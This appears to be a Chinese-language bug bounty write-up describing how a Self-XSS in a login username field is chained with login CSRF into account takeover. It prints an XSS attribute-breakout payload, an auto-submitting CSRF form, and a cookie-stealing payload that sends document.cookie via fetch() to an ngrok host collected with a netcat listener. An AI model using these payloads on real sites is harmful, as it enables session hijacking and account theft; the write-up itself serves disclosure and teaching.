实战 | 从Self-XSS到账户接管

我是 黑客小黑,今天,我想分享我最近在 HackerOne 项目中的一项漏洞

比方说:https://reacted.com

当我在这个网站上进行测试时,有一个登录功能,像往常一样,我尝试使用响应操作、默认凭据和 SQL 注入来绕过登录。

但没有任何作用,我决定检查源代码,发现我刚才输入的用户名打印在 value 属性中。

我想过尝试XSS注入,所以我尝试在用户名中注入双引号(“),我发现没有对其进行过滤。

所以,我考虑注入‘<’,这可能也有用。

确实,它起作用了!

因此,我尝试注入完整的payload:

"> <svg/onload=alert("XSS")>

不幸的是,这是一个Self-XSS

挖掘组合漏洞

我运行了 Burp Suite 并在登录尝试期间拦截了该请求。

从请求中,我注意到没有针对 CSRF 的保护,而这是登录功能所期望的。

我尝试使用 CSRF 将Self- XSS 升级为反射 XSS。

使用的payload:
<html>
<body>
<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
<input type="hidden" name="loginName" value="&#x22;&#x20;><svg/onmouseover=alert(1)&#x20;&#x22;> 
<input type="hidden" name="loginPassword" value="test"/>
<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
</form>
<script>
document.addEventListener('DOMContentLoaded', function(event) {
document.createElement('form').submit.call(document.getElementById('myForm'));
});
</script> 
</body>
<html>

是的,它起作用了!

在ngrok的帮助下,我成功获取了任何人的cookie

我打开了两个终端选项卡

第一个:ngrok http 80

第二个:sudo nc -nlvp 80

我在用户名中使用了这个有效负载:

&#x22;&#x20;> <script>&#x0a;fetch(‘https://<ngrok-Domain>’, { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });&#x0a;</script>&#x20;&#x22;

” : 是 html 中编码的双引号和空格

该payload会检索用户的 cookie 并将其发送给我。在netcat(nc)的帮助下,我可以获得这些cookie。

最终的payload:
<html>
<body>
<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
<input type="hidden" name="loginName" value="&#x22;&#x20;> <script>&#x0a;fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });&#x0a;</script>&#x20;&#x22;"/>
<input type="hidden" name="loginPassword" value="test"/>
<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
</form>
<script>
document.addEventListener('DOMContentLoaded', function(event) {
document.createElement('form').submit.call(document.getElementById('myForm'));
});
</script>
</body>
<html>

最后,我成功获得了cookie。